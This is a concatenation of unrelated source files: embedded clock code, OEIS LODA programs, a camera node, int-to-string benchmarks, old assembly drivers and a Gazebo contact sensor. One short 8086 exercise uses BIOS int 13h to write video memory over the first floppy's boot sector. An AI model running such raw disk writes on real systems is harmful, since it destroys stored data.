return Chimera::System::ResetEvent::CLEARED;
break;
case ResetFlags::PIN_RESET:
return Chimera::System::ResetEvent::HW_EXTERNAL_PIN;
break;
case ResetFlags::IWDG:
return Chimera::System::ResetEvent::HW_INDEPENDENT_WATCHDOG_TIMEOUT;
break;
case ResetFlags::WWDG:
return Chimera::System::ResetEvent::HW_WINDOW_WATCHDOG_TIMEOUT;
break;
case ResetFlags::SOFTWARE:
return Chimera::System::ResetEvent::SOFTWARE;
break;
case ResetFlags::BROWN_OUT:
return Chimera::System::ResetEvent::BROWN_OUT;
break;
case ResetFlags::LOW_POWER:
return Chimera::System::ResetEvent::UNKNOWN;
break;
default:
return Chimera::System::ResetEvent::NOT_SUPPORTED;
break;
}
}
size_t getBusFrequency( const Chimera::Clock::Bus bus )
{
switch ( bus )
{
case Chimera::Clock::Bus::HSI16:
return 16000000u;
break;
case Chimera::Clock::Bus::LSI:
return 32000u;
break;
case Chimera::Clock::Bus::SYSCLK:
return getSystemClock();
break;
case Chimera::Clock::Bus::HCLK:
return getHCLKFreq();
break;
case Chimera::Clock::Bus::PCLK1:
return getPCLK1Freq();
break;
case Chimera::Clock::Bus::PCLK2:
return getPCLK2Freq();
break;
case Chimera::Clock::Bus::HSE:
case Chimera::Clock::Bus::LSE:
return getExtOscFreq( bus );
break;
default:
RT_HARD_ASSERT( false );
return INVALID_CLOCK;
break;
}
}
bool configureClockTree( ClockTreeInit &config )
{
bool result = true;
/*-------------------------------------------------
Disable interrupts during reconfiguration
-------------------------------------------------*/
auto isrMask = Chimera::System::disableInterrupts();
/*-------------------------------------------------
Configure the oscillator sources
-------------------------------------------------*/
result |= configureHSE( config );
result |= configureHSI( config );
result |= configureLSE( config );
result |= configureLSI( config );
if ( config.enabled.pll_core_clk || config.enabled.pll_core_q || config.enabled.pll_core_r )
{
result |= configureCorePLL( config );
}
// if( config.enabled.pll_sai_p || config.enabled.pll_sai_q )
// {
// result |= configureSAIPLL( config );
// }
/*-------------------------------------------------
Configure the source mux's that aren't tied to
oscillator inputs.
-------------------------------------------------*/
result |= setSourceSYS( config );
result |= setSourceSDIO( config );
result |= setSourceRTC( config );
result |= setSourceUSB48( config );
result |= setSourceI2S( config );
result |= setSourceSAI( config );
/*-------------------------------------------------
Configure the system prescalers
-------------------------------------------------*/
result |= setPrescaleAHB( config );
result |= setPrescaleAPB1( config );
result |= setPrescaleAPB2( config );
/*-------------------------------------------------
Re-enable interrupts now that configuration is done
-------------------------------------------------*/
Chimera::System::enableInterrupts( isrMask );
return result;
}
Chimera::Status_t calculatePLLBaseOscillator( const PLLType pll, const size_t inFreq, const size_t outFreq,
ClockTreeInit &config )
{
switch ( pll )
{
case PLLType::CORE:
case PLLType::SAI:
return calcPLLCoreSettings( inFreq, outFreq, config );
break;
default:
return Chimera::Status::NOT_SUPPORTED;
break;
};
}
Chimera::Status_t calculatePLLOuputOscillator( const PLLType pll, const PLLOut channel, const size_t inFreq,
const size_t outFreq, ClockTreeInit &config )
{
switch ( pll )
{
case PLLType::CORE:
case PLLType::SAI:
return calculatePLLOuputOscillator( channel, inFreq, outFreq, config );
break;
default:
return Chimera::Status::NOT_SUPPORTED;
break;
};
}
} // namespace Thor::LLD::RCC
|
; A054025: Sum of divisors of n read modulo (number of divisors of n).
; 0,1,0,1,0,0,0,3,1,2,0,4,0,0,0,1,0,3,0,0,0,0,0,4,1,2,0,2,0,0,0,3,0,2,0,1,0,0,0,2,0,0,0,0,0,0,0,4,0,3,0,2,0,0,0,0,0,2,0,0,0,0,2,1,0,0,0,0,0,0,0,3,0,2,4,2,0,0,0,6,1,2,0,8,0,0,0,4,0,6,0,0,0,0,0,0,0,3,0,1
add $0,1
mov $2,$0
mov $4,1
lpb $0
mov $3,$2
dif $3,$0
cmp $3,$2
cmp $3,0
add $4,$3
mul $3,$0
sub $0,1
add $1,$3
lpe
add $1,1
mod $1,$4
mov $0,$1
|
// Copyright (c) 2019 The Felicia Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "examples/learn/topic/camera/cc/camera_publishing_node.h"
#include "felicia/core/message/protobuf_util.h"
#include "felicia/core/thread/main_thread.h"
#include "felicia/drivers/camera/camera_factory.h"
namespace felicia {
CameraPublishingNode::CameraPublishingNode(
const CameraFlag& camera_flag,
const drivers::CameraDescriptor& camera_descriptor)
: camera_flag_(camera_flag),
topic_(camera_flag_.topic_flag()->value()),
camera_descriptor_(camera_descriptor) {}
void CameraPublishingNode::OnInit() {
camera_ = drivers::CameraFactory::NewCamera(camera_descriptor_);
Status s = camera_->Init();
CHECK(s.ok()) << s;
// You can set camera settings here.
drivers::CameraSettings camera_settings;
s = camera_->SetCameraSettings(camera_settings);
LOG_IF(ERROR, !s.ok()) << s;
drivers::CameraSettingsInfoMessage message;
s = camera_->GetCameraSettingsInfo(&message);
if (s.ok()) {
std::cout << protobuf::ProtobufMessageToString(message) << std::endl;
} else {
LOG(ERROR) << s;
}
}
void CameraPublishingNode::OnDidCreate(NodeInfo node_info) {
node_info_ = std::move(node_info);
RequestPublish();
}
void CameraPublishingNode::OnRequestPublish(Status s) {
if (s.ok()) {
MainThread& main_thread = MainThread::GetInstance();
main_thread.PostTask(FROM_HERE,
base::BindOnce(&CameraPublishingNode::StartCamera,
base::Unretained(this)));
} else {
LOG(ERROR) << s;
}
}
void CameraPublishingNode::OnRequestUnpublish(Status s) {
if (s.ok()) {
MainThread& main_thread = MainThread::GetInstance();
main_thread.PostTask(FROM_HERE,
base::BindOnce(&CameraPublishingNode::StopCamera,
base::Unretained(this)));
} else {
LOG(ERROR) << s;
}
}
void CameraPublishingNode::RequestPublish() {
communication::Settings settings;
settings.queue_size = 1;
settings.is_dynamic_buffer = true;
settings.channel_settings.ws_settings.permessage_deflate_enabled = false;
publisher_.RequestPublish(
node_info_, topic_,
ChannelDef::CHANNEL_TYPE_TCP | ChannelDef::CHANNEL_TYPE_SHM |
ChannelDef::CHANNEL_TYPE_WS,
settings,
base::BindOnce(&CameraPublishingNode::OnRequestPublish,
base::Unretained(this)));
}
void CameraPublishingNode::RequestUnpublish() {
publisher_.RequestUnpublish(
node_info_, topic_,
base::BindOnce(&CameraPublishingNode::OnRequestUnpublish,
base::Unretained(this)));
}
void CameraPublishingNode::StartCamera() {
PixelFormat pixel_format;
PixelFormat_Parse(camera_flag_.pixel_format_flag()->value(), &pixel_format);
Status s = camera_->Start(
drivers::CameraFormat(camera_flag_.width_flag()->value(),
camera_flag_.height_flag()->value(), pixel_format,
camera_flag_.fps_flag()->value()),
base::BindRepeating(&CameraPublishingNode::OnCameraFrame,
base::Unretained(this)),
base::BindRepeating(&CameraPublishingNode::OnCameraError,
base::Unretained(this)));
if (s.ok()) {
std::cout << "Camera Fomrat: " << camera_->camera_format() << std::endl;
// MainThread& main_thread = MainThread::GetInstance();
// main_thread.PostDelayedTask(
// FROM_HERE,
// base::BindOnce(&CameraPublishingNode::RequestUnpublish,
// base::Unretained(this)),
// base::TimeDelta::FromSeconds(10));
} else {
LOG(ERROR) << s;
}
}
void CameraPublishingNode::StopCamera() {
Status s = camera_->Stop();
LOG_IF(ERROR, !s.ok()) << s;
}
void CameraPublishingNode::OnCameraFrame(drivers::CameraFrame&& camera_frame) {
if (publisher_.IsUnregistered()) return;
publisher_.Publish(camera_frame.ToCameraFrameMessage(false));
}
void CameraPublishingNode::OnCameraError(Status s) { LOG(ERROR) << s; }
} // namespace felicia |
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include "MathBuildConfig.h"
#include "MathGeoLib.h"
#include "myassert.h"
#include "TestRunner.h"
#include "TestData.h"
#include <cmath>
#include "SSEMath.h"
MATH_IGNORE_UNUSED_VARS_WARNING
using namespace TestData;
char int_to_string[64];
// Test if a manually written int->string conversion beats the built-in variants. Results from the benchmarks below:
// U32ToString - 23.488 nsecs
// itoa - 64.544 nsecs
// sprintf - 210.107 nsecs
// From 2013 Macbook Pro + Win8.1 + VS2010
int U32ToString(u32 val, char *str)
{
char *s = str;
for(;;)
{
int ni = val / 10;
int digit = val - ni*10;
*s++ = (char)('0' + digit);
if (ni == 0)
break;
val = ni;
}
*s = '\0';
ptrdiff_t len = s - str;
for(int i = 0; i < len/2; ++i)
{
char ch = str[i];
str[i] = str[len-1-i];
str[len-1-i] = ch;
}
return (int)(s - str);
}
#ifdef MATH_SSE2
FORCE_INLINE __m128i INT_TO_M128(int i)
{
#ifdef _MSC_VER
__m128i v = _mm_setzero_si128();
v.m128i_i32[0] = i;
return v;
#elif defined(__clang__) || defined(__GNUC__)
return _mm_set1_epi32(i);
#else
return _mm_loadu_si32(&i);
#endif
}
FORCE_INLINE int M128_TO_INT16(__m128i i)
{
#ifdef _MSC_VER
return i.m128i_i16[0];
#else
union m128_to_int16
{
__m128i m128i;
signed short i16[8];
};
m128_to_int16 mi;
mi.m128i = i;
return (int)mi.i16[0];
#endif
}
static const __m128i one_hundredmth = INT_TO_M128((int)2882303761 /*42.94967295*65536*32*32 */);
static const __m128i hundredm = INT_TO_M128(100000000);
static const __m128i one_tenthousandth = _mm_set1_epi32((int)3518437209 /*429496.7295*8192 */);
static const __m128i tenthousand = _mm_set1_epi32(10000);
static const __m128i one_hundredth = _mm_set1_epi16((short)(unsigned short)41944 /*655.36*64 */);
static const __m128i hundred = _mm_set1_epi16(100);
static const __m128i one_tenth = _mm_set1_epi16((short)(unsigned short)52429 /* == 8 * 6553.6 */);
static const __m128i ten = _mm_set1_epi16(10);
static const __m128i zerochar = _mm_set1_epi8('0');
#ifdef _MSC_VER
#pragma intrinsic(_BitScanForward)
#endif
#ifdef MATH_SSE41
// Warning: This is about 5 times slower than the C version! Better to just use the C version.
int U32ToString_SSE(u32 i, char *str)
{
// Max u32: 4294967295 ~ 4e9
// 4e9 / 1e8 -> [ 42 (64), 94967295 (64) ]
// / 1e4 -> [ .. (32), 42 (32), 9496 (32), 7295 (32) ]
// / 1e2 -> [ (16), (16), (16), 42 (16), 94 (16), 96 (16), 72 (16), 95 (16) ]
// / 10 -> [
__m128i v = INT_TO_M128((int)i);
// 1/100000000 ~~ 42.94967296 / 4294967296
__m128i hi = _mm_srli_epi64(_mm_mul_epu32(v, one_hundredmth), 26+32);
__m128i lo = _mm_sub_epi32(v, _mm_mullo_epi32(hi, hundredm));
__m128i msb = _mm_slli_si128(hi, 6); // [42, 00, 00, 00, 00], or two most significant digits as 16-bit
v = lo; // 0 - 94967295 in 32-bit
// 1/10000 ~~ 429496.7296 / 4294967296
hi = _mm_srli_epi64(_mm_mul_epu32(v, one_tenthousandth), 13+32);
lo = _mm_sub_epi32(v, _mm_mullo_epi32(hi, tenthousand));
v = _mm_unpacklo_epi16(hi, lo); // [7295, 9496] in 16-bit
hi = _mm_srli_epi16(_mm_mulhi_epu16(v, one_hundredth), 6);
lo = _mm_sub_epi16(v, _mm_mullo_epi16(hi, hundred));
v = _mm_unpacklo_epi16(hi, lo); // [95, 72, 96, 94] in 16-bit
v = _mm_unpacklo_epi64(msb, v); // [94, 96, 72, 95, 42, 00, 00, 00] in 16-bit
hi = _mm_srli_epi16(_mm_mulhi_epu16(v, one_tenth), 3);
lo = _mm_sub_epi16(v, _mm_mullo_epi16(hi, ten));
lo = _mm_or_si128(_mm_slli_si128(lo, 1), hi);
lo = _mm_add_epi8(lo, zerochar);
__m128i ones = _mm_cmpgt_epi8(lo, zerochar);
ones = _mm_or_si128(_mm_slli_si128(ones, 8), ones);
ones = _mm_or_si128(_mm_slli_si128(ones, 4), ones);
ones = _mm_or_si128(_mm_slli_si128(ones, 2), ones);
ones = _mm_or_si128(_mm_slli_si128(ones, 1), ones);
unsigned int onesBits = (unsigned int)_mm_movemask_epi8(ones);
unsigned long shift;
#ifdef _MSC_VER
if (onesBits != 0)
_BitScanForward(&shift, onesBits);
else
shift = 0;
#else
shift = (onesBits != 0) ? __builtin_ctz(onesBits) : 0;
#endif
_mm_maskmoveu_si128(lo, ones, str-shift);
int len = 16-shift;
str[len] = '\0';
return len;
}
RANDOMIZED_TEST(U32ToString_SSE)
{
char str[32];
char str2[32];
for(int i = 0; i < 100; ++i)
{
u32 m = rng.Int(0, 43);
m *= 100000000U;
u32 n = rng.Int();
U32ToString_SSE(n+m, str);
U32ToString(n+m, str2);
assert2(!strcmp(str, str2), std::string(str), std::string(str2));
}
}
BENCHMARK(U32ToString_SSE, "SSE uint -> string conversion")
{
unsigned int pseudoRandom = (unsigned int)i * 1053928445U;
U32ToString_SSE((u32)pseudoRandom, int_to_string);
}
BENCHMARK_END;
#endif
#endif
// Tests whether modulus+division is slower than division+multiplication. (doesn't seem to be the case)
int U32ToString_Slow(u32 val, char *str)
{
char *s = str;
for(;;)
{
int digit = val % 10;
*s++ = (char)('0' + digit);
val /= 10;
if (val == 0)
break;
}
*s = '\0';
ptrdiff_t len = s - str;
for(int i = 0; i < len/2; ++i)
{
char ch = str[i];
str[i] = str[len-1-i];
str[len-1-i] = ch;
}
return (int)(s - str);
}
int IntToString(int i, char *str)
{
if (i < 0)
{
if (i == INT_MIN)
{
strcpy(str, "-2147483648");
return 11; // == strlen("-2147483648")
}
*str++ = '-';
return U32ToString((u32)-i, str) + 1;
}
return U32ToString((u32)i, str);
}
RANDOMIZED_TEST(IntToString)
{
const int nums[] = { 0, 1, -1, 10, 11, -10, -11, INT_MIN, INT_MAX, (int)UINT_MAX, 42};
for(size_t j = 0; j < sizeof(nums)/sizeof(nums[0]); ++j)
{
int i = nums[j];
if (i == 42) i = rng.Int();
char str[32] = {};
int len = IntToString(i, str);
assert(len > 0);
MARK_UNUSED(len);
assert(strlen(str) == (size_t)len);
char str2[32] = {};
sprintf(str2, "%d", i);
// printf("i: %d, str: %s, str2: %s\n", i, str, str2);
assert(!strcmp(str, str2));
}
}
BENCHMARK(IntToString, "custom int -> string conversion")
{
unsigned int pseudoRandom = (unsigned int)i * 1053928445U;
IntToString((int)pseudoRandom, int_to_string);
}
BENCHMARK_END;
BENCHMARK(IntToString_sprintf, "sprintf int -> string conversion")
{
unsigned int pseudoRandom = (unsigned int)i * 1053928445U;
sprintf(int_to_string, "%d", (int)pseudoRandom);
}
BENCHMARK_END;
#ifdef _MSC_VER
BENCHMARK(IntToString_itoa, "itoa int -> string conversion")
{
unsigned int pseudoRandom = (unsigned int)i * 1053928445U;
_itoa((int)pseudoRandom, int_to_string, 10);
}
BENCHMARK_END;
#endif
RANDOMIZED_TEST(U32ToString)
{
const u32 nums[] = { 0, 1, (u32)-1, 10, 11, (u32)-10, (u32)-11, (u32)INT_MIN, INT_MAX, UINT_MAX, 42};
for(size_t j = 0; j < sizeof(nums)/sizeof(nums[0]); ++j)
{
u32 i = nums[j];
if (i == 42) i = (u32)rng.Int();
char str[32] = {};
int len = U32ToString(i, str);
assert(len > 0);
MARK_UNUSED(len);
assert(strlen(str) == (size_t)len);
char str2[32] = {};
sprintf(str2, "%lu", (unsigned long)i);
// printf("i: %d, str: %s, str2: %s\n", i, str, str2);
assert(!strcmp(str, str2));
}
}
BENCHMARK(U32ToString, "custom uint -> string conversion")
{
unsigned int pseudoRandom = (unsigned int)i * 1053928445U;
U32ToString((u32)pseudoRandom, int_to_string);
}
BENCHMARK_END;
BENCHMARK(U32ToString_Slow, "custom slow uint -> string conversion")
{
unsigned int pseudoRandom = (unsigned int)i * 1053928445U;
U32ToString_Slow((u32)pseudoRandom, int_to_string);
}
BENCHMARK_END;
BENCHMARK(U32ToString_sprintf, "sprintf uint -> string conversion")
{
unsigned int pseudoRandom = (unsigned int)i * 1053928445U;
sprintf(int_to_string, "%u", pseudoRandom);
}
BENCHMARK_END;
#ifdef _MSC_VER
BENCHMARK(U32ToString_itoa, "itoa uint -> string conversion")
{
unsigned int pseudoRandom = (unsigned int)i * 1053928445U;
_itoa((int)pseudoRandom, int_to_string, 10);
}
BENCHMARK_END;
#endif
|
WarpPadAndHoleData:
; tileset id, tile id, value for [wStandingOnWarpPadOrHole]
db FACILITY, $20, 1 ; warp pad
db FACILITY, $11, 2 ; hole
db CAVERN, $22, 2 ; hole
db INTERIOR, $55, 1 ; warp pad
db -1 ; end
|
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1989 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: Mouse Driver Common Code
FILE: mouseSerCommon.asm
AUTHOR: Adam de Boor, Sep 25, 1989
ROUTINES:
Name Description
---- -----------
MouseOpenPort Opens the desired port and returns its unit
number.
CallSer Macro to contact the serial driver
MouseClosePort Close the port opened by MouseOpenPort
REVISION HISTORY:
Name Date Description
---- ---- -----------
Adam 9/25/89 Initial revision
DESCRIPTION:
Common definitions for mice that communicate via a serial port.
This file should be included within the proper segment. E.g.
if a driver has an init segment, this should be included in the
init segment.
REQUIRED DEFINITIONS BEFORE INCLUSION:
DEF_PORT default port to open
MOUSE_INBUF_SIZE size of serial input buffer for mouse
MOUSE_OUTBUF_SIZE size of serial output buffer for mouse
$Id: mouseSerCommon.asm,v 1.1 97/04/18 11:47:58 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
UseDriver Internal/serialDr.def
include initfile.def
;------------------------------------------------------------------------------
;
; VARIABLES REQUIRED BY ALL SERIAL MICE
;
;------------------------------------------------------------------------------
idata segment
;
; Unit number of serial line we're using
;
mouseUnit word -1 ; Unit we're employing
idata ends
udata segment
;
; Driver strategy routine for the serial driver
;
driver fptr.far ; Strategy routine to call
;
; Macro to call the serial driver once driver has been loaded with the
; right value.
;
CallSer macro func, seg
mov di, func
ifnb <seg>
call seg:[driver]
else
call ds:[driver]
endif
endm
udata ends
Init segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MouseOpenPort
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Open the proper port for a mouse. DEF_PORT should be the
default port to use if no -p flag given.
CALLED BY: MouseDevInit (usually) or MousePortInit
PASS: DS = dgroup
RETURN: BX = open unit number or
Carry set if couldn't open desired port.
If carry clear:
driver set to strategy routine for serial driver
mouseUnit set to unit opened
DESTROYED: AX, CX, DX, SI
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 9/25/89 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
portCategory char MOUSE_CATEGORY, 0
portKey char MOUSE_PORT, 0
MouseOpenPort proc near
;
; Figure the driver strategy routine.
;
push ds
mov bx, handle serial
call GeodeInfoDriver
mov ax, ds:[si].DIS_strategy.offset
mov bx, ds:[si].DIS_strategy.segment
pop ds
mov ds:driver.offset, ax
mov ds:driver.segment, bx
;
; See if user has specified an alternate port for the mouse.
; The port is specified with the "mouse port" key in the
; "system" category. The value should be an integer from
; 1 to 4.
;
push ds, si
mov ax, DEF_PORT ; Assume default port
push ax ; Save it...
segmov ds, cs, cx ; ds & cx get segment of
; key strings
mov si, offset portCategory ; ds:si is category
mov dx, offset portKey ; cx:dx is key
call InitFileReadInteger ; Fetch integer -- alters AX if
; integer there, else returns
; it untouched?
jc useDefault
inc sp ; Discard saved default port
inc sp
dec ax ; Adjust to range 0-3
cmp ax, 4
jae useDefault ; Too big or too small -- ignore
shl ax ; Ports step by two...
push ax ; Save actual port
useDefault:
useDefaultNoClose:
pop bx ; Recover port to use
pop ds, si
;
; Open the port given in BX without blocking or timing out.
; The buffer sizes used are specified by the includer of
; this file.
;
clr ax ; block, no timeout
mov cx, MOUSE_INBUF_SIZE
mov dx, MOUSE_OUTBUF_SIZE
mov ds:mouseUnit, bx
mov si, handle 0 ; We own this thing...
CallSer DR_SERIAL_OPEN_FOR_DRIVER
done:
ret
MouseOpenPort endp
Init ends
Resident segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MouseClosePort
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Close down the port we opened
CALLED BY: MousePortExit
PASS: DS = dgroup
RETURN: Carry set if couldn't close the port (someone else was
closing it (!)).
DESTROYED: AX, BX, DI
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 9/25/89 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MouseClosePort proc far
;
; Close down the port...if it was ever opened, that is.
;
mov bx, -1
xchg bx, ds:[mouseUnit]
tst bx
js done
mov ax, STREAM_DISCARD ; Just nuke output buffer
CallSer DR_STREAM_CLOSE
done:
ret
MouseClosePort endp
Resident ends
|
assume cs:code,ss:stack,ds:data
data segment
data ends
stack segment
stack ends
code segent
start:
mov ax,0b800h
mov es,ax
mov bx,0h
mov ah,3
mov al,8
mov ch,0
mov cl,1
mov dh,0
mov dl,0
int 13h
mov ax,4c00h
int 21h
code ends
end start |
; A246773: Decimal expansion of 'v', an auxiliary constant associated with the asymptotic number of row-convex polyominoes.
; Submitted by Jon Maiga
; 3,2,0,5,5,6,9,4,3,0,4,0,0,5,9,0,3,1,1,7,0,2,0,2,8,6,1,7,7,8,3,8,2,3,4,2,6,3,7,7,1,0,8,9,1,9,5,9,7,6,9,9,4,4,0,4,7,0,5,5,2,2,0,3,5,5,1,8,3,4,7,9,0,3,5,9,1,6,7,4,6,9,1,7,6,4,1,8,2,6,9,5,7,8,0,5,2,5,0,7
mov $2,1
mov $3,$0
mul $3,3
lpb $3
add $1,$2
add $5,$2
add $1,$5
add $2,$1
add $5,$1
mul $1,2
sub $3,1
lpe
mov $1,3
add $1,$5
mov $4,10
pow $4,$0
div $2,$4
div $1,$2
mov $0,$1
mod $0,10
|
; ===============================================================
; May 2017
; ===============================================================
;
; void *tshr_saddrcup(void *saddr)
;
; Modify screen address to move up one character (eight pixels)
;
; ===============================================================
SECTION code_clib
SECTION code_arch
PUBLIC asm_tshr_saddrcup
EXTERN asm_zx_saddrcup
defc asm_tshr_saddrcup = asm_zx_saddrcup
|
;
; ROM Console routine for the Sorcerer Exidy
; By Stefano Bodrato - 23/5/2011
;
; $Id: fputc_cons.asm,v 1.1 2011/05/24 18:11:10 stefano Exp $
;
XLIB fputc_cons
.fputc_cons
ld hl,2
add hl,sp
ld a,(hl)
cp 13
jr nz,nocrlf
call $e00c
ld a,10
.nocrlf
jp $e00c
|
// N64 Lesson 02 Simple Initialize
arch n64.cpu
endian msb
output "Video002.N64", create
fill $0010'1000 // Set ROM Size
// fill 1052672 also works because
// 4 KB (4096 B) header reserved for config and publisher data
// 1 MB (1024 KB * 1024 KB = 1,048,576 B) game code copied to n64 ram on boot
// 4096 + 1048576 = 1,052,672 B roughly a megabyte used for our game
// 1052672 Bytes is represented as $00101000 in hex
origin $00000000
base $80000000
include "../LIB/N64.INC"
include "../LIB/N64_GFX.INC"
include "N64_Header.asm"
insert "../LIB/N64_BOOTCODE.BIN"
Start: // NOTE: base $80001000
lui t0, PIF_BASE // t0 = $BFC0 << 16
addi t1, zero, 8 // t1 = 0 + 8
sw t1, PIF_CTRL(t0) // 0xBFC007FC = 8
Loop: // while(true);
j Loop
nop
|
; A218690: Sum_{k=0..n} C(n,k)^4*C(n+k,k)^2.
; Submitted by Jon Maiga
; 1,5,181,9797,616501,45778505,3678753205,314352091205,28154344881205,2612340741982505,249415797821914681,24374175871569953225,2428502737999745059381,245952659136011117909897,25260608441078125508484181,2626023605592369669830217797,275901067896276743165711178805,29259237866228284372614269647817,3128772189716949287851547042204569,337058009970382064705974557423512297,36553685730321070179449438161655619001,3988192256572354742804995648463425483805,437522108343571261975184462101347915628921
mov $3,$0
mov $5,$0
lpb $5
mov $0,$3
sub $5,1
sub $0,$5
mov $1,$0
add $1,$3
bin $1,$0
pow $1,2
mov $2,$3
bin $2,$0
pow $2,4
mul $1,$2
add $4,$1
lpe
mov $0,$4
add $0,1
|
/*
* Copyright 2011 Nate Koenig & Andrew Howard
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
/* Desc: Contact sensor
* Author: Nate Koenig
* Date: 09 Sept. 2008
*/
#include <float.h>
#include <sstream>
#include "msgs/msgs.h"
#include "common/Exception.hh"
#include "physics/Physics.hh"
#include "physics/World.hh"
#include "physics/Collision.hh"
#include "sensors/SensorFactory.hh"
#include "sensors/ContactSensor.hh"
#include "transport/Node.hh"
#include "math/Vector3.hh"
using namespace gazebo;
using namespace sensors;
GZ_REGISTER_STATIC_SENSOR("contact", ContactSensor)
//////////////////////////////////////////////////
ContactSensor::ContactSensor()
: Sensor()
{
this->node = transport::NodePtr(new transport::Node());
this->mutex = new boost::mutex();
}
//////////////////////////////////////////////////
ContactSensor::~ContactSensor()
{
this->collisions.clear();
delete this->mutex;
}
//////////////////////////////////////////////////
void ContactSensor::Load(const std::string &_worldName, sdf::ElementPtr _sdf)
{
Sensor::Load(_worldName, _sdf);
if (this->sdf->GetElement("topic"))
{
this->node->Init(this->world->GetName());
this->contactsPub = this->node->Advertise<msgs::Contacts>(
this->sdf->GetElement("topic")->GetValueString());
}
}
//////////////////////////////////////////////////
void ContactSensor::Load(const std::string &_worldName)
{
Sensor::Load(_worldName);
physics::CollisionPtr collision;
std::string collisionName;
std::string collisionScopedName;
sdf::ElementPtr collisionElem =
this->sdf->GetElement("contact")->GetElement("collision");
// Get all the collision elements
while (collisionElem)
{
// get collision name
collisionName = collisionElem->GetValueString("name");
collisionScopedName =
this->world->GetEntity(this->parentName)->GetScopedName();
collisionScopedName += "::" + collisionName;
collision = boost::shared_dynamic_cast<physics::Collision>(
this->world->GetEntity(collisionScopedName));
if (!collision)
{
gzerr << "Unable to find collision element["
<< collisionScopedName << "]\n";
}
else
{
this->collisions.push_back(collision);
this->connections.push_back(collision->ConnectContact(
boost::bind(&ContactSensor::OnContact, this, _1, _2)));
}
collisionElem = collisionElem->GetNextElement("collision");
}
}
//////////////////////////////////////////////////
void ContactSensor::Init()
{
Sensor::Init();
std::vector<physics::CollisionPtr>::iterator iter;
for (iter = this->collisions.begin(); iter != this->collisions.end(); ++iter)
{
(*iter)->SetContactsEnabled(true);
}
}
//////////////////////////////////////////////////
void ContactSensor::UpdateImpl(bool /*_force*/)
{
this->mutex->lock();
if (this->contactsPub && this->contactsPub->HasConnections() &&
this->contacts.size() > 0)
{
msgs::Contacts msg;
Contact_M::iterator iter;
std::map<std::string, physics::Contact>::iterator iter2;
for (iter = this->contacts.begin(); iter != this->contacts.end(); ++iter)
{
// Only transmit one contact
for (iter2 = iter->second.begin(); iter2 != iter->second.end(); ++iter2)
{
msgs::Contact *contactMsg = msg.add_contact();
contactMsg->set_collision1(
iter2->second.collision1->GetScopedName());
contactMsg->set_collision2(
iter2->second.collision2->GetScopedName());
for (int i = 0; i < iter2->second.count; i++)
{
msgs::Set(contactMsg->add_position(), iter2->second.positions[i]);
msgs::Set(contactMsg->add_normal(), iter2->second.normals[i]);
contactMsg->add_depth(iter2->second.depths[i]);
}
}
}
this->contactsPub->Publish(msg);
}
this->mutex->unlock();
}
//////////////////////////////////////////////////
void ContactSensor::Fini()
{
Sensor::Fini();
}
//////////////////////////////////////////////////
unsigned int ContactSensor::GetCollisionCount() const
{
return this->collisions.size();
}
//////////////////////////////////////////////////
std::string ContactSensor::GetCollisionName(unsigned int _index) const
{
std::string result;
if (_index < this->collisions.size())
result = this->collisions[_index]->GetName();
return result;
}
//////////////////////////////////////////////////
unsigned int ContactSensor::GetCollisionContactCount(
const std::string &_collisionName) const
{
Contact_M::const_iterator iter = this->contacts.find(_collisionName);
if (iter != this->contacts.end())
return iter->second.size();
else
gzerr << "Contact Sensor[" << this->GetName() << "] has no collision["
<< _collisionName << "]\n";
return 0;
}
//////////////////////////////////////////////////
physics::Contact ContactSensor::GetCollisionContact(
const std::string &_collisionName, unsigned int _index) const
{
Contact_M::const_iterator iter = this->contacts.find(_collisionName);
if (iter != this->contacts.end())
{
if (_index < iter->second.size())
{
std::map<std::string, physics::Contact>::const_iterator iter2;
iter2 = iter->second.begin();
std::advance(iter2, _index);
return iter2->second;
}
else
{
gzerr << "Invalid index[" << _index
<< "] retreiving contact for collision[" << _collisionName
<< "] in contact sensor[" << this->GetName() << "]\n";
}
}
else
{
gzerr << "Contact Sensor[" << this->GetName() << "] has no collision["
<< _collisionName << "]\n";
}
return physics::Contact();
}
//////////////////////////////////////////////////
std::map<std::string, gazebo::physics::Contact> ContactSensor::GetContacts(
const std::string &_collisionName)
{
Contact_M::const_iterator iter = this->contacts.find(_collisionName);
if (iter != this->contacts.end())
return iter->second;
else
gzerr << "Contact Sensor[" << this->GetName() << "] has no collision["
<< _collisionName << "]\n";
return std::map<std::string, gazebo::physics::Contact>();
}
//////////////////////////////////////////////////
